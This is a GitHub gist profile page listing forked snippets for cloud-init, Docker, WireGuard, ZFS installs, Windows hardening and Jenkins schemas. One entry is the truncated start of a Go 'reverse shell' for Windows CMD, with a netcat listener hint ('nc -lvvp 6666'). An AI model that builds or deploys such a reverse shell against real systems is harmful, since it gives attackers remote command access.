Skip to content

Instantly share code, notes, and snippets.

View DanielBodnar's full-sized avatar

Daniel Bodnar DanielBodnar

  • BitBuilder.io
  • Denton, Tx
  • 07:43 (UTC -06:00)
View GitHub Profile
@DanielBodnar
DanielBodnar / 00-cloud-config.yml
Created September 14, 2018 22:12 — forked from janeczku/00-cloud-config.yml
Annotated RancherOS Cloud-init configuration snippets
#cloud-config
# Set the hostname for this machine (takes precedence over hostname assigned by DHCP lease).
hostname: myhost
# Authorize SSH keys for the `rancher` sudoer user
ssh_authorized_keys:
- ssh-rsa AAA...ZZZ example1@rancher
@DanielBodnar
DanielBodnar / clone-all-github-repos.sh
Last active October 5, 2018 14:42 — forked from caniszczyk/clone-all-twitter-github-repos.sh
Clone all repos from a GitHub organization
curl -s https://api.github.com/orgs/pspusa/repos?per_page=200 | ruby -rubygems -e 'require "json"; JSON.load(STDIN.read).each { |repo| %x[git clone #{repo["ssh_url"]} ]}'
@DanielBodnar
DanielBodnar / README.md
Last active October 27, 2018 06:36 — forked from cocoastorm/README.md
rexray/s3fs Docker Plugin Install with Minio

Getting Started

Make sure Docker is installed!

Get your Minio endpoint url, accesskey, and secretkey ready!

Install Docker Plugin

docker plugin install rexray/s3fs \
@DanielBodnar
DanielBodnar / wg-config.sh
Last active September 29, 2019 18:20 — forked from insom/wg-config.bash
#!/bin/bash
hosts=("office" "pve" "pve2" "pve3" "therealdaniel")
wg_addrs=("172.28.0.1" "172.28.0.51" "172.28.0.52" "172.28.0.53" "172.28.0.75")
vxlan_addrs=("172.27.0.1" "172.27.0.51" "172.27.0.51" "172.27.0.52" "172.27.0.53" "172.27.0.75")
modprobe ipv6
modprobe udp_tunnel
modprobe ip6_udp_tunnel
@DanielBodnar
DanielBodnar / zfsinstall-1-setup.sh
Created October 23, 2019 19:59 — forked from johnramsden/zfsinstall-1-setup.sh
Install scripts for installing Arch Linux on ZFS. Not runnable, just listed commands.
#!/bin/bash
# Check before running, may need intervention
# Pass in the following to the script, or hardcode it.
# Uncomment if hardcoding input.
BOOT_PARTITION="/dev/sdg1"
DISK_1="ata-SanDisk_SDSSDXPS480G_152271401093"
DISK_2="ata-SanDisk_SDSSDXPS480G_154501401266"
POOL="vault"
@DanielBodnar
DanielBodnar / reversecmd.go
Created December 22, 2019 23:47 — forked from yougg/reversecmd.go
Golang reverse shell
// +build windows
// Reverse Windows CMD
// Test with nc -lvvp 6666
package main
import (
"bufio"
"net"
"os/exec"
@DanielBodnar
DanielBodnar / windows_hardening.cmd
Created March 25, 2020 02:09 — forked from ricardojba/windows_hardening.cmd
A Windows hardening script
::###############################################################################################################
:: Credits and More info: https://gist.github.com/mackwage/08604751462126599d7e52f233490efe
:: https://github.com/api0cradle/LOLBAS
:: https://github.com/Disassembler0/Win10-Initial-Setup-Script
:: https://github.com/cryps1s/DARKSURGEON/tree/master/configuration/configuration-scripts
:: https://gist.github.com/alirobe/7f3b34ad89a159e6daa1#file-reclaimwindows10-ps1-L71
::
::###############################################################################################################
:: Change file associations to protect against common ransomware attacks
:: Note that if you legitimately use these extensions, like .bat, you will now need to execute them manually from cmd or powershell
@DanielBodnar
DanielBodnar / Background_set.ps1
Created March 25, 2020 02:16
WRS: Windows Reproducible Script. `Apps_install.ps1` -> `Background_set.ps1 -> `Console_config.ps1` -> `Default.cmd`.
<#PSScriptInfo
.VERSION 1.0.0.0
.GUID 084a184a-faa1-47e4-9f1a-5d9ecede68c3
.AUTHOR Jeffrey Snover
.COMPANYNAME
@DanielBodnar
DanielBodnar / gist:bdd67f0ecbf142df857ab948b3a943c6
Created December 22, 2020 22:53 — forked from chrisdone/gist:02e165a0004be33734ac2334f215380e
Build and run minimal Linux / Busybox systems in Qemu

Common

export OPT=/opt
export BUILDS=/some/where/mini_linux
mkdir -p $BUILDS

Linux kernel

@DanielBodnar
DanielBodnar / Jenkinsfile.json
Created April 17, 2024 04:48 — forked from JJediny/Jenkinsfile.json
JSON Schema of a Jenkinsfile (DSL Pipeline)
{
"description": "Jenkinsfile YAML",
"definitions": {
"libraries": {
"description": "One or more shared library identifiers to load",
"type": "array",
"items": {
"type": "string"
},
"minItems": 1